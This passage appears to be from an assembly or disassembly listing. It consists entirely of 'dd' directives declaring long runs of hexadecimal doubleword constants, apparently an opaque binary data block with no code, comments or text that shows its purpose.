		dd 8C74F7ABh, 9DA1EC01h, 0A274332Eh, 0A32C3058h, 0DB018CE6h
		dd 9A084033h, 0C440559Fh, 1FCBFC1Bh, 55C7E39h, 406EEA27h
		dd 0D19A51E8h, 0C63C5267h, 0B3D20012h, 1A39928Ch, 26403C78h
		dd 8F4E5C0Bh, 0A0544CC8h, 0A43FE712h, 68CB74C4h, 97C153C8h
		dd 5CA70984h, 52174804h, 5F011C00h, 309863D5h, 6F195462h
		dd 82AC87Ch, 84B4FC40h,	0DE518F6Fh, 80808512h, 18A3B904h
		dd 0B03680C2h, 0A8A18E89h, 0E8C9C7E7h, 5888388Ah, 5163372Ah
		dd 0B4A1F1B6h, 9214C038h, 0D51D39B5h, 43993665h, 9068A118h
		dd 0ACCF328Fh, 1943405h, 1209E0E0h, 6EC824BDh, 0F802877Eh
		dd 616330Bh, 0A2D8685Ah, 0E46509BCh, 345B54EAh,	6C4C79E0h
		dd 184401B8h, 40E71311h, 0F170F104h, 83EAD803h,	0E1EB0100h
		dd 4A2C2321h, 600800EDh, 0B00E354Bh, 310E43F2h,	1D185FE8h
		dd 0C54E858Bh, 6045E4F0h, 22C65E6h, 0E0C8E4AFh,	0B8A21FFDh
		dd 0B0456C27h, 0A06074E4h, 2C91648Fh, 8E805A1Fh, 3808D3C3h
		dd 0CB7B1F17h, 0EA19DCC2h, 0DF634A9Ch, 88582148h, 0A05FB0Dh
		dd 0BCF1C062h, 23202820h, 94620EF1h, 702008DEh,	0F430197h
		dd 94DFA309h, 0E5C1BC91h, 0DAC8605Ah, 73685F00h, 0ABDF600Dh
		dd 257D1413h, 4B22BCB4h, 321F2903h, 9864E915h, 1C596B5h
		dd 861ADE5Bh, 708CAAF6h, 6D406A80h, 28119538h, 0A23463DDh
		dd 30DD3191h, 341D4CBCh, 0F344273Ch, 80A1919Eh,	11C14C7Ch
		dd 2BD90F0Eh, 30D43441h, 57F51498h, 0AC2C1CEDh,	1EECF52Ah
		dd 0C2749538h, 0CD84870Ch, 0AC018DAh, 0E55F823Eh, 542802DAh
		dd 6970D324h, 6F301064h, 2F22A193h, 0B56A0BE4h,	88CB95F9h
		dd 9DDE0A00h, 0B470855h, 2EDDF8ADh, 745CFF1Eh, 6C009746h
		dd 13F586C5h, 0CA090D05h, 51129E70h, 105B6980h,	1862C50h
		dd 43EAE689h, 60620B1Ah, 28A5474Fh, 0F6276E4h, 1B476BC0h
		dd 595DE002h, 63AA4E06h, 3330E138h, 4B78E03Ch, 23582E4Fh
		dd 0AACA0112h, 309DD8CFh, 895DE95Ch, 2E2BCC4h, 5FFD961Ah
		dd 3860047Dh, 0A814CB95h, 7DAC42B2h, 0D799C10Eh, 866C20D1h
		dd 0CA1BDEh, 0E3DF4EBCh, 9D812963h, 0D38F4200h,	0DED5FC73h
		dd 55E23A5Bh, 6490192Dh, 8DF7061h, 2739D700h, 28DB6h, 0F3AB8262h
		dd 12DEADF9h, 711A4D64h, 70602CB9h, 9C474CAAh, 0C966AD25h
		dd 2FD9AC1Ch, 3701C9BAh, 0F1AD2328h, 0DAD6CC53h, 9072012Dh
		dd 245CC64h, 7A18FC3Dh,	28E2DC34h, 9A78ECD9h, 8902862Eh
		dd 93E21E68h, 95EC81C6h, 403CECA7h, 9C0AA880h, 7F0E90FFh
		dd 4070D8C5h, 0A3154DECh, 14D474E5h, 0FCAF0531h, 3D486E5Bh
		dd 5C528068h, 0D8F4E4C5h, 98249020h, 384704C8h,	0A94C93CAh
		dd 722AC84h, 0A1C87F61h, 91E3606Ch, 5834E4ABh, 0A48249C1h
		dd 0FB684041h, 0EDA71FE2h, 98BE68ADh, 0C58E05A4h, 561E8FCh
		dd 3AA9D284h, 0ED23B0h,	227DD5C9h, 3B4CCDF4h, 0E10CD698h
		dd 0D0B1E6h, 0D411BA15h, 0FDA8726Ch, 40E86627h,	2555F480h
		dd 8C8CF2Eh, 61DE9564h,	36DEE580h, 57E1C2h, 6274C37Dh
		dd 0E3ED6129h, 9107E237h, 69F8D6h, 52A5B971h, 0C1EE2E9Fh
		dd 9C90F3B8h, 86185702h, 4862B684h, 13223648h, 0F0531CECh
		dd 0FB012B49h, 60C46181h, 5180E47Dh, 0FD886316h, 134E3910h
		dd 4CDF0088h, 92A819h, 0CECA18D8h, 7220759Fh, 260409F4h
		dd 0B8E0C63Bh, 0D359D7BFh, 28C05A4h, 6CCABC9Ah,	0F2160406h
		dd 9C0B3147h, 2875628Ch, 0B412DC44h, 208B1C52h,	38C036C8h
		dd 0BA3D2B0h, 10C50D12h, 2A89E88Eh, 0A1821880h,	0C4986DDBh
		dd 7135ECB0h, 0B86F1846h, 254AD700h, 20BCB28Eh,	8957CE30h
		dd 0B6E50462h, 88C4B9F8h, 5B7F1209h, 13044689h,	958B49D3h
		dd 70EF8764h, 153A34DEh, 0CC884507h, 4240E03Fh,	16C05BFFh
		dd 67602B73h, 0AE706128h, 0F298742Ch, 4A87A73Eh, 9826460h
		dd 183B62D4h, 0E87997FEh, 2D18ED79h, 28A42104h,	30C0500Ah
		dd 18BC2C79h, 299E6472h, 40395A3h, 34E98BD2h, 4106E0F1h
		dd 0AC5F0587h, 84B55CE7h, 42CCCC08h, 0E15DAD00h, 0D41AACF5h
		dd 1BF12BABh, 0B017A590h, 7E855C91h, 7DC90040h,	8FCB16C5h
		dd 19883C09h, 0ABA0411Eh, 0C09504CCh, 9F08EF90h, 500BBB9h
		dd 515F418Bh, 97942146h, 0F453943Ah, 6E0C50h, 41AFEF3Fh
		dd 91AAF3B2h, 1677A502h, 0C60A4E14h, 2945EE4h, 3D38F7E8h
		dd 72119C64h, 0CA4ACF63h, 0C006C820h, 0A6DB3275h, 3C2F630Ah
		dd 4D87C0A8h, 0B4EA1436h, 6B16A7C4h, 14FA004Ch,	13648B52h
		dd 8240B71h, 0F8B83F1Ch, 5306DAA4h, 1F6C55D6h, 0F6779061h
		dd 0DBE10234h, 0E8759CEAh, 21801856h, 9B785070h, 0BFCF2C61h
		dd 0A808AEC0h, 0E7040164h, 0DC8BFD13h, 5032AAh,	0E3D9C2A8h
		dd 3A3911CDh, 0E0D52303h, 23283B3Bh, 90C5015Ch,	0CCBEADABh
		dd 223EDE09h, 0FC0BAC6Eh, 86506C24h, 44562139h,	2D6FC00h
		dd 80876DA0h, 0EF38968h, 0D0C050C8h, 34B2AE8h, 2C38CAB5h
		dd 90C1564Ah, 9487C37h,	0A5E1D8BBh, 0DCCE4068h,	31C70688h
		dd 0B7A8840h, 3B20B1CFh, 3DA51B87h, 0BA116146h,	97A7CCD7h
		dd 7DFB9008h, 3D218012h, 78D32BC6h, 7453DF00h, 220F2AE7h
		dd 6CEB4801h, 80C7D715h, 36ACF400h, 3E925B64h, 47243F02h
		dd 60FCA933h, 73931474h, 5E6C94D7h, 650E4546h, 0D924DC48h
		dd 2A2888EBh, 1252CE06h, 9786F732h, 0F9A5EC90h,	8B68E300h
		dd 9BA9C666h, 0B5C8000Dh, 852396FCh, 4850FE01h,	0F94ED0E8h
		dd 2F3A98C9h, 7942390h,	701342C4h, 4B464847h, 1A198609h
		dd 1241657h, 49CBECDh, 62AECA1Eh, 41F5798Ch, 20F3DDA0h
		dd 0AF4BC212h, 9F1ADC30h, 7759A9h, 0F84B1500h, 0CB86A6ECh
		dd 83516400h, 0EFE63B7Eh, 0FADA98F3h, 0D8BE58CCh, 88E2D2h
		dd 27723B7Ch
		dd 2CF11810h, 2548D19h,	0CFDEF4AAh, 48D12CCAh, 0B71896D9h
		dd 0AFCCDB25h, 42C7E048h, 2FAB58h, 38FB8217h, 3B1DE09Ah
		dd 0F6610B02h, 4051CCC6h, 86C95508h, 0D9D0FF09h, 510409CBh
		dd 0C72D442Ch, 0FB2420D0h, 80F8A19Eh, 0A13BFCB1h, 4452D42h
		dd 0D660ED64h, 2C1C1D64h, 91F07DE7h, 547A02h, 875030DAh
		dd 0FFBC5C76h, 0A4F2F813h, 2BCCE4D1h, 203A8C74h, 0F0004666h
		dd 0D4582797h, 312C8B1Ah, 0C6C1BDC9h, 45D9C077h, 3E3A0D7Ch
		dd 60B0099h, 0CDA7CAC0h, 491701E4h, 0C7BD131Bh,	98A880DFh
		dd 0C5099CF7h, 0D0E10B2Eh, 98E721EFh, 7681F14Eh, 0F8D7240Fh
		dd 571D921Fh, 0A904634Ch, 38CA3603h, 0C4655827h, 18601BE4h
		dd 0D01F34F8h, 0ED01C182h, 8D979207h, 240D6081h, 68901A0Bh
		dd 0FE15006Ch, 0D42E1C80h, 45F8D0h, 41FB6F29h, 0BD1BE63Ch
		dd 0AA064709h, 3008F893h, 67D1ED4Eh, 420B04FAh,	537699E0h
		dd 18747948h, 4D8B04D0h, 60569537h, 4E14CFADh, 0F7A04024h
		dd 45C4FE75h, 9155E831h, 17F8A049h, 0F6AB0001h,	0E6429B3Bh
		dd 60583DEh, 917CE796h,	3B88148Fh, 0F08BAC0h, 0BD1000D8h
		dd 4E3631FDh, 6501506Eh, 0D06207B4h, 90415E26h,	8014898Bh
		dd 0E602BB08h, 34DFAA38h, 7CB8C026h, 0F8C36BCh,	5171D13Ah
		dd 510DB8C7h, 3B2DD890h, 59AC4409h, 18297980h, 0CBC605E4h
		dd 0B4119EA8h, 3674F5C4h, 523BF214h, 8CA3CE4h, 82746798h
		dd 0C9DB860Dh, 0B280385Ch, 168B87B6h, 27CA00D4h, 0D50D1E01h
		dd 97278603h, 8174B54Ch, 88A8417Ah, 0D586DA9h, 9057B7FAh
		dd 9C2D8EC0h, 11465EA4h, 8A925200h, 44EE0514h, 34D8130Eh
		dd 38A4724Eh, 0C8810436h, 0A88FDDD0h, 8C90ECB4h, 0B23EB902h
		dd 71CC86F2h, 0E01A8968h, 0ED91EC97h, 6BEB6580h, 0FD000D43h
		dd 0D71CFAF4h, 696336D1h, 0D458B90Bh, 826211E9h, 0ED80E868h
		dd 8B86DAD0h, 6901A37Fh, 44C623Ah, 5CA6F9BDh, 0DBED0260h
		dd 0DC6D4079h, 0B6CC2E0h, 0A0405D8h, 0ADF7C3F2h, 7992C184h
		dd 47D299Ch, 0E080B6D2h, 1D87693h, 45E729D3h, 0CD167C42h
		dd 0B668305Ch, 40A4AF95h, 0E82C3258h, 38A30028h, 9629500Dh
		dd 4944E0CBh, 47C94A57h, 0D07D614Ch, 40484BC1h,	9373C800h
		dd 0D8AD3F94h, 585276F9h, 0CF0798C5h, 0E962064Fh, 0FCBCCC58h
		dd 5C465Eh, 0D2CC4BB5h,	1FE3B6B8h, 53455A8Dh, 88988BE0h
		dd 6692C299h, 650398C4h, 713773C2h, 7E81B536h, 0A8D37718h
		dd 0B4848629h, 1D465E14h, 19D4007Ch, 1B37EA07h,	0AA12DF86h
		dd 0A8C68CF7h, 5AA4B058h, 72EC8740h, 0F85E39h, 7C50CD18h
		dd 2F88C8F8h, 0EC4883C1h, 4700D53Bh, 0DC4013FBh, 1317146Ah
		dd 0B1FEAACCh, 0D12C30D8h, 25A81944h, 389D05A7h, 0C4847491h
		dd 0B6D8C021h, 1E1A3797h, 1D80089Ah, 827691E0h,	51DB65BCh
		dd 0BD07BFE8h, 6E727679h, 1C2549A0h, 5244707h, 613051E3h
		dd 2FF3FFh, 78CCF260h, 1D38446Fh, 0BBF1F4EDh, 0E0AB8300h
		dd 1EDE1157h, 565BF4h, 0C804C5C0h, 4F4E293Bh, 0CAC454DAh
		dd 0E474C41Dh, 9A2F0A88h, 7D2081E3h, 80696647h,	0C148C00h
		dd 3DAC7202h, 4205A606h, 39806Fh, 70AE62E6h, 2CFD4915h
		dd 9ABDDCECh, 0D45076A0h, 0CD779503h, 823C75BEh, 85D0C286h
		dd 0E4BDA8B4h, 82888C4Bh, 3497F110h, 58C64450h,	4DC1ECACh
		dd 73BAC808h, 18BC01A0h, 0C9F18D3Fh, 7E78413Ah,	6FC513E3h
		dd 0EA164430h, 2DC6000Dh, 0E9928539h, 0C202EF44h, 62BF28C4h
		dd 0DBB8900Ah, 7254011Dh, 3A51AD1h, 0CA039EAh, 5188E14Eh
		dd 3AFE05F3h, 0ECE7092Ch, 48C84FFCh, 0D7F10032h, 5E510CECh
		dd 0CB0030DAh, 0F0103A64h, 90237Eh, 0D2271D6h, 3D9575Ah
		dd 0FF96C49Ch, 94F228E2h, 1339630h, 0D9179530h,	2B325A73h
		dd 88E8C24h, 0FBC01288h, 48E83C8Ch, 6817F832h, 669CD91Eh
		dd 0DE5FE2FCh, 1146763Ch, 6A872A00h, 7EFEEFAAh,	794B2F01h
		dd 4765D8C8h, 97EC2C38h, 0FD30018Ch, 0F3A37E4h,	132C26A1h
		dd 820C940h, 1E10B9DEh,	80A3A00Fh, 0C7E08488h, 0B27CFD42h
		dd 0C299D602h, 7A94DEF0h, 24D77ADCh, 0B0CC034h,	0D80AE9ACh
		dd 0F9C2454h, 9D8304D5h, 61744EAAh, 0B2C23F5h, 0C88ADDFFh
		dd 2ABA25Ch, 0E708F989h, 68448F4Eh, 49D75502h, 0AE2A7D8Ch
		dd 0EE062794h, 0DACD10A0h, 1EDC2CCAh, 0A96A652Ch, 68D31334h
		dd 3B5EE603h, 0E0CEAD5Ch, 0C71CE39Eh, 7A70A54h,	2CEF7A68h
		dd 50933E52h, 3DFF0288h, 20883FACh, 7CCC480Ah, 0D6ED3E24h
		dd 0F200354Bh, 3028F274h, 2F48E7CDh, 3C74052Ch,	0B42ACCh
		dd 0E25F43C6h, 15323028h, 1A8D0B0Bh, 3DD058C2h,	8C5FB6AEh
		dd 622D7220h, 306401h, 0E00B7DD0h, 1548EFABh, 549B8A0Bh
		dd 0B5878DFh, 0E6320A5Ah, 1D7968D1h, 2C003318h,	0E0C9C882h
		dd 653A8C6Ch, 820599D6h, 0A8F479BCh, 0BC6A5B3Bh, 0AF005C23h
		dd 2B5DB80Eh, 84FF0968h, 80F0F196h, 2D73AE40h, 480528CCh
		dd 71C8864h, 0F1A8D802h, 0B27ECAD0h, 1E8C46ECh,	3A332306h
		dd 0EBD3F700h, 0E5B6E321h, 4F04A974h, 3CEFD7ACh, 6E92A0ACh
		dd 41D8055Ch, 848C864Eh, 2FB4BAAh, 2D8862DCh, 82480955h
		dd 7870E77Fh, 5EF496E0h, 683F1D46h, 131B3C80h, 0E4E5ED0Fh
		dd 5028FC35h, 0D72010B3h, 4656C09Ch, 37420058h,	4F88166Ch
		dd 0AACA0B89h, 0BCC857D7h, 0E512A112h, 98B47DB2h, 0DCCF00EBh
		dd 0FF3BCD68h, 3A26A39Ah, 1C011460h, 1F759D11h,	0C8D39CF1h
		dd 5BD95021h, 0E01C0119h, 6F1E9D46h, 5923002Fh,	65950A00h
		dd 5B8B35h, 0E3B18307h,	5F87C9Ah, 24302D5Eh, 971E6FCFh
		dd 7111C035h, 0D7CA4E87h, 78258961h, 0E078B651h, 14D0820h
		dd 0D41AD859h, 0D8F52250h, 70B4F9A9h, 21EE2176h, 29E67480h
		dd 691A57h, 9B7A9E6Ch, 9CEBEEAEh, 9CC8625Ah, 8DF920D0h
		dd 0C428D34Ch, 2EAAEA22h, 3F39238Ch, 0C6A200FCh, 4F3A27EEh
		dd 0F2FEA441h, 0E9311205h, 0F4455968h, 0D1809A61h, 5BF4A51Bh
		dd 23CC6BF1h, 94003FEDh, 0A69BDC7h, 824ADB92h, 0C041A09Dh
		dd 532A0B9Bh, 0D27000A0h, 3C621D8Fh, 4E183862h,	4A49084h
		dd 0D8CF09B4h, 0D0C7FDB0h, 1B21EE62h, 0FC81E288h, 0AEF9230Fh
		dd 0ABA040C2h, 0F57CD7E4h, 0E31424h, 465B9674h,	819BD0D2h
		dd 3BF3B500h, 37F6CAAAh, 3151F07h, 401C9EB1h, 0E0F59156h
		dd 58961AE5h, 75846DEh,	3A528BC1h, 0F6D49441h, 20B24D8h
		dd 721B5F04h, 8484BB3Fh, 0D06B34B4h, 62508C00h,	0D255706Ch
		dd 5B31F516h, 102660A0h, 8DF3F0h, 4290847Dh, 50DEA8CAh
		dd 0B4237046h, 477EF6F4h, 0A8271109h, 1E0025DFh, 7B0ECC81h
		dd 9AB5AC00h, 6782121Ah, 3644410h, 0CC94CA18h, 91CCC3A8h
		dd 30F47210h, 2640E4D8h, 0AA2F250Ch, 0E00B78C4h, 608C7C11h
		dd 97D2D24h, 6A3FA1Eh, 0E2A84821h, 743A0160h, 0C0B36981h
		dd 6FE69C66h, 0A74AB441h, 3FCDE279h, 0FE20ABE0h, 440CB081h
		dd 6E25F667h, 0C870A324h, 0A0E474FBh, 71A1580h,	50EB4CDFh
		dd 0B4C1E451h, 0C704FE1Ch, 638BF209h, 8AA070E7h, 66485CCEh
		dd 0ED809D60h, 9AA3202h, 2457FE7h, 0C2844C3Ah, 80817C2Ch
		dd 47D4BCh, 806A10E0h, 2A02720Dh, 0E4746D8Dh, 4CFEF0h
		dd 9524DD26h, 0E7008261h, 38104FFDh, 442C466h, 56A8CFCBh
		dd 0AAECE0FCh, 48443B0Eh, 10A2A0FBh, 12CE67B6h,	0E99BACA8h
		dd 0E679B870h, 7CAB0002h, 0D3AE1EDEh, 50091611h, 767B6471h
		dd 90CC9784h, 1860C5F0h
		dd 0B5004FF4h, 7D7876E7h, 3DB20FAFh, 0A481EA11h, 0ED2E47B7h
		dd 9F69857Ch, 84F2044Eh, 803074F2h, 0FF653009h,	528AA389h
		dd 9DE38101h, 78442EE0h, 747C90E3h, 59850313h, 0FEED4E19h
		dd 0EB6A312Fh, 0A11680D4h, 8AE6B9h, 269E05FBh, 0ADAFEEB0h
		dd 88A4644Bh, 936800EFh, 0FF3F0740h, 2A09F509h,	7A66A7CAh
		dd 1C4A008Ch, 6CB7A9D9h, 0BC0B374Dh, 92016271h,	24115584h
		dd 0BDD1F422h, 68740360h, 0FE658D91h, 9B941C89h, 0C52D70h
		dd 10DE9642h, 0C8807F3Bh, 212524D8h, 3D9A8408h,	2C6CBE70h
		dd 201C8A76h, 0F78C5070h, 0A6E3E866h, 42518AB0h, 0FC0BE82Ah
		dd 0B7FCDF00h, 0BED51EBFh, 2AF021Ch, 66478A97h,	9E039C5Ah
		dd 0DDAAD7D0h, 0B93ED8F8h, 0A097B503h, 4C805091h, 9D6C73AAh
		dd 0AED3C607h, 0A1643DADh, 0D1264E9h, 8BE8F894h, 902C48CCh
		dd 3C1F028Bh, 42E1C633h, 0DF4715E0h, 45E92304h,	0AC8EA3AAh
		dd 9CB5388h, 4C52E9h, 0BC991149h, 0A369E35h, 19C82D06h
		dd 90218966h, 4AE00EBCh, 706234A3h, 0E4D2714Eh,	5CF1FC26h
		dd 14B467Ch, 1270BF02h,	0F06F75B1h, 10753D7Dh, 2B43F301h
		dd 0C3FAC16h, 12624434h, 0EC6EBF08h, 8CEDE8F4h,	0BA8C910Fh
		dd 21E665FEh, 5A23582Eh, 4DBE8700h, 538BB2h, 0E7A18081h
		dd 7AEAD4DEh, 0FA08470Bh, 0CA80C0F3h, 21AD20D0h, 262723Bh
		dd 53A18258h, 38BCD2FAh, 0F34B41E5h, 5A05380Ch,	94A8A812h
		dd 0AE5969C0h, 4F7B210Eh, 0D46AFC1Ch, 60810D53h, 21F61E62h
		dd 6AA03FABh, 16321002h, 434583Ah, 1153DFA1h, 0B03ABBECh
		dd 8E003623h, 814FFADDh, 5326029Bh, 52CFCECAh, 71449C67h
		dd 70CAE067h, 90A08C5Eh, 0FB5EF20Ah, 0D8FE4880h, 182F6521h
		dd 3B4CB46Ah, 3A972500h, 8DD82940h, 646918B3h, 0E27D21B8h
		dd 0E3D129C3h, 0C252C2C0h, 40F4DC68h, 79C8D470h, 21A89600h
		dd 0DDBDB3BBh, 0DC893A27h, 281E497h, 4CDA1940h,	70E3D001h
		dd 8888AC31h, 9802E6D5h, 757D0878h, 3713EC3Dh, 0AD95A401h
		dd 22A84DFh, 6E11860Ch,	0D48BB468h, 3C1438FBh, 602197FCh
		dd 8C1770F4h, 0ADBE051Ch, 6525446Eh, 1CEE0004h,	0ACDAF6BEh
		dd 2CC47E01h, 8EFB433h,	0B4009944h, 7998764Ah, 9BA1D2DCh
		dd 0F5CA80B8h, 0A4177D94h, 276001C0h, 64B04AC4h, 2090F86Ch
		dd 14A54200h, 75DDC945h, 0F1880BF9h, 0FCA9F59Fh, 89923481h
		dd 0E34E01C6h, 8004C32h, 8B8E3E8Ch, 79C069CDh, 74AA721Bh
		dd 19D82EA6h, 20929FDCh, 0A06BE75Fh, 0F1827A03h, 9016F213h
		dd 24A459E8h, 8D018898h, 0AFB38200h, 0D242709h,	0E6DD779Bh
		dd 9AD815DFh, 545C6012h, 0E469CE85h, 990E46FCh,	0A4D784h
		dd 0CD1D3EEh, 95F30FBAh, 4EC1F27Eh, 20834B6Ch, 2749BCD4h
		dd 96311E0Ch, 426500E0h, 0F9BEFB32h, 0CA950184h, 0C0F884D8h
		dd 0F84D8CF0h, 5EEC9E5Ch, 7E5A46h, 0E24B8858h, 4126DB55h
		dd 0CEFC1B00h, 0C4DB5D3h, 5C7E002Ah, 626622C3h,	8C94D009h
		dd 9120972Dh, 0C9B8317h, 0BF07F9FEh, 0E5ED0721h, 0A905F7Eh
		dd 40D08664h, 76D3019Fh, 801A913Dh, 0F12D1F5h, 2F0C5E51h
		dd 0DCCDE6D0h, 48317E60h, 669F38BDh, 680CA14Eh,	8C12BC04h
		dd 0CE2520ECh, 13905A61h, 0E64CF1CDh, 6290F044h, 1ECD7924h
		dd 49305908h, 0BCE53272h, 0B1605AE4h, 0CD3A83BCh, 0E4F4F70Bh
		dd 78C0CC25h, 41C32C68h, 0DC111524h, 57BE1F80h,	0A0B430ACh
		dd 436A458h, 0D7AC14BFh, 6816AA37h, 18AD708Ch, 18B04CF7h
		dd 0DE0BCE2Ch, 42DBD49h, 9EA94E0h, 0D432D9ECh, 4656FC54h
		dd 30DC1F96h, 0D042E0DDh, 47BECA7Ah, 609444F8h,	4C57BB6h
		dd 0B81FDF04h, 5D7080A6h, 7D25BC53h, 0E40865E6h, 0B1D36374h
		dd 69809D64h, 0D60EBA8h, 49003733h, 86B6F33Fh, 9662DA5h
		dd 59245134h, 5811B89Dh, 66C92C80h, 8401786Eh, 3DB73062h
		dd 1CD0084Eh, 477D4B47h, 33221728h, 0E086E374h,	594E390Eh
		dd 5C0D8112h, 8AE4157h,	60173C38h, 88BCCB18h, 0E75C01Ah
		dd 0BD0F4B30h, 407B7FC1h, 9E709DEDh, 2E5B8076h,	90A4CDB0h
		dd 54B23916h, 0F9C368E4h, 23C83B3Ah, 6FC90F1Dh,	30D602FEh
		dd 4874AA98h, 0E04444AFh, 0B13C02C6h, 0F7BE5B72h, 1D2D94D6h
		dd 800A11E8h, 8737DD47h, 196263EBh, 0C4C0B06Fh,	823F445Bh
		dd 68E426D9h, 0E698A38h, 8D0014E8h, 13401BFBh, 0D06F00A3h
		dd 710DA4ABh, 1DE67D3Ch, 682F624Ah, 1F019623h, 0FBD7AB99h
		dd 0CDD817F3h, 0C820CB74h, 8A6C01Ch, 801D86BEh,	0DF008243h
		dd 7F6AE01Bh, 0B44CF4D9h, 6800DCB4h, 6B8FB184h,	9486F47h
		dd 8E64D873h, 51ACFD80h, 0BF02084Dh, 639C5CB8h,	95C870ECh
		dd 0FA0754B8h, 28C4E483h, 0B47420AFh, 0E300E1D9h, 218A4939h
		dd 9A5CAD7h, 0E098F476h, 0A02A38B8h, 489F3B34h,	0FEF31C80h
		dd 2F17098Ah, 0E86560C9h, 1F6036E4h, 5300CE01h,	0F27128A6h
		dd 42CF6A1Ah, 93B400C9h, 942A5A48h, 268A7A5Bh, 288C1184h
		dd 4C92C80h, 0BCA608E4h, 40E82F1Eh, 0C8086200h,	96987F55h
		dd 7C7C5C03h, 3BF62A81h, 0A14426Eh, 9B403054h, 1F7AD4ADh
		dd 30C5FE74h, 0BA66A330h, 783498F2h, 0D8F649BCh, 7060A3E1h
		dd 0C8094630h, 7C580D88h, 0E4E20510h, 8ACB95Ch,	441EA31h
		dd 0EABCEB05h, 0A7795808h, 0CC0BC6Dh, 4B21CA8h,	0C1246E37h
		dd 0BE7CC2EFh, 0CD9D1CECh, 0E479C1ACh, 0BCC07CDAh, 0EE038C45h
		dd 0E4A64F54h, 0C633E8E0h, 0FA0A09DAh, 2474A28Ah, 36465Eh
		dd 425D284Fh, 0BCD54D1h, 6670F5BDh, 84A040D0h, 0BC809C43h
		dd 1D34B2F3h, 2E831362h, 29467CC4h, 0EBF68606h,	31EE89F7h
		dd 0E05E9A28h, 0DB3E1802h, 978CAC04h, 803B1168h, 0AEBFCAC5h
		dd 7181F91h, 2F8AC0ADh,	129A84AAh, 6CC0A25Eh, 130C0E5Dh
		dd 0DB8CAB97h, 57280ACh, 0FC297770h, 8DD604E5h,	0C4FA6EC6h
		dd 0FD9804EBh, 292CC85Ah, 94332141h, 66441100h,	24B38F79h
		dd 81124E39h, 63E175D1h, 13B3DD0h, 0E7BFA858h, 500F3A38h
		dd 1FC8204Dh, 0B1BECDEAh, 0F4A0A064h, 65BF81A9h, 387A3F38h
		dd 3C90AA00h, 83034C36h, 602FAD37h, 9E004F84h, 72BC1B24h
		dd 0A0647725h, 2BF08D68h, 0D4F600EFh, 0B784909Ch, 0A7EE73A6h
		dd 8D988600h, 0EC311DC2h, 5135EF1h, 0C0D0CC38h,	6A6E0A0Eh
		dd 32E4EB00h, 8CE7ACC8h, 0C5D9CB8Eh, 89002C71h,	7973192Dh
		dd 4158009Dh, 9B3E782Ch, 0AC0560E0h, 67FC6FBFh,	2E00DCF9h
		dd 78EE470Dh, 70C9817Ch, 0AFF88394h, 0E021007Ah, 27F683DEh
		dd 8C167261h, 0E8B11FD4h, 69BA09F4h, 344DF056h,	0AC920C0h
		dd 8260C5Dh, 7D809EA8h,	6F89B89Eh, 0E00820E2h, 101074Bh
		dd 0EFFC1ABBh, 0E05ED7EEh, 0DA060F13h, 0CF2EDB15h, 126D13B1h
		dd 63100450h, 406EFB29h, 34E12B00h, 864836A6h, 0AAB2FF35h
		dd 470564A9h, 0A8706206h, 0E09205C0h, 24A11BA1h, 486D70A5h
		dd 0F247DEC1h, 287FC8E1h, 0C700E694h, 833479F1h, 19CB89Bh
		dd 30E9B77Bh, 30716128h, 0E016A8B0h, 0FC9011F5h, 874479D5h
		dd 0D1604564h, 0FC04B97Dh, 0FAA8F525h, 906CF8F0h, 4498A703h
		dd 5747620Ah, 0E101ED62h, 6077E0D2h, 9891FEB8h,	0CD867300h
		dd 0E0A51CDEh, 810E0923h, 0B4D2B615h, 0AE343Bh,	0D08A4110h
		dd 0DE48A6D3h, 0F7AA8AF8h, 80B429BCh, 0B763AB2Ch, 3200A183h
		dd 0EF919DD8h, 4CF53Fh,	18020EC7h, 0A8FBFE54h, 4F607F5Dh
		dd 4F2F946Eh, 0D00004E6h, 5BF3D51Ch, 0E8ED3E0Fh, 823302C1h
		dd 96F5DE71h, 0BB7014C0h
		dd 0B8FB4734h, 84FD5080h, 4C424C19h, 8780E782h,	0C4EC4512h
		dd 794600Ah, 0F52709EFh, 785835E0h, 0E10F6A25h,	432AB6E4h
		dd 61FC1C98h, 0BC549F82h, 8C303F06h, 9531F878h,	665EEC22h
		dd 0E4FB2F00h, 0AC9DB7EEh, 2920891h, 0A79A09EAh, 542C5C56h
		dd 5893D08h, 0D44C8412h, 0F290E280h, 0E3903371h, 0AC0E4835h
		dd 7688C65Bh, 70A6280Fh, 22C6A11h, 50DFB46h, 4B0AC0BCh
		dd 1BCD0EECh, 33E2B69Dh, 818AFA6Ch, 8E0269Ch, 0E5697109h
		dd 601164F0h, 0E4A045h,	5C7F3964h, 3E3D5468h, 0F50C44E8h
		dd 5113650Ah, 0DDF70E98h, 0A78B3B4Dh, 850DC002h, 3BE5CC85h
		dd 1D1C2340h, 9445C0DCh, 629784BFh, 184F6C4Fh, 0D0606AD4h
		dd 0FD094081h, 0B1D4F9C8h, 250B00BEh, 5B7BDAEFh, 8E60EBDEh
		dd 0A8269B29h, 0A440B557h, 1E27D8A6h, 5A44705Fh, 0B2F0B32Eh
		dd 72023097h, 994EC505h, 78820E09h, 4C0077C9h, 677C798Ah
		dd 9EE070C7h, 32F9B3E1h, 97BC2C3Ch, 0F425008Ch,	0EEF18EE3h
		dd 0E019CBB5h, 0F3687485h, 74E6B4FFh, 57ABE4E3h, 0A472CAC2h
		dd 22367C08h, 0ADC809AAh, 5F11BC7Ch, 94A8CA13h,	0FEFC02C0h
		dd 0AC5C1632h, 0E31CA68Bh, 6E281030h, 586A1644h, 24BD8485h
		dd 0D7820B9h, 3A398616h, 0F0654CC3h, 37B66BBh, 0AAF35CB8h
		dd 0A9D577D2h, 93B838h,	0D29A1318h, 1D627C9Bh, 0F080F8BCh
		dd 0F86B4B07h, 7D4C1181h, 0C4707723h, 6EBF2D00h, 0F1AF3F36h
		dd 1D2F7B31h, 4AAC42EEh, 0DEF47A2Bh, 0C86C8F00h, 5943710Fh
		dd 43E34E4Eh, 4BF20434h, 0C43F0BACh, 0EF804424h, 0FCF93D01h
		dd 86C32FBCh, 4BDFACCCh, 3C44F138h, 0E0C80B40h,	0B68868EDh
		dd 3260B86h, 10E1443Eh,	9CDB3E85h, 4744019Fh, 0EE70C878h
		dd 0F286F8F4h, 5B03B83h, 0D1F78732h, 7F0FD94h, 1BC06088h
		dd 14A9B4F0h, 8B803872h, 93A83F05h, 0E294A26Eh,	2B0F305Ah
		dd 319A8800h, 0AAC3AD7Dh, 97FC253Fh, 61365841h,	6CCE3E0Ch
		dd 0B7C01BC8h, 3CEF3851h, 62015D88h, 2724782Ah,	0A0843B5Eh
		dd 10F9EB86h, 138363FAh, 208B621Dh, 36C391C8h, 0A477F88Fh
		dd 9C2402A2h, 0D32739Fh, 2155B8C2h, 0C0DFAB58h,	5C44023Ah
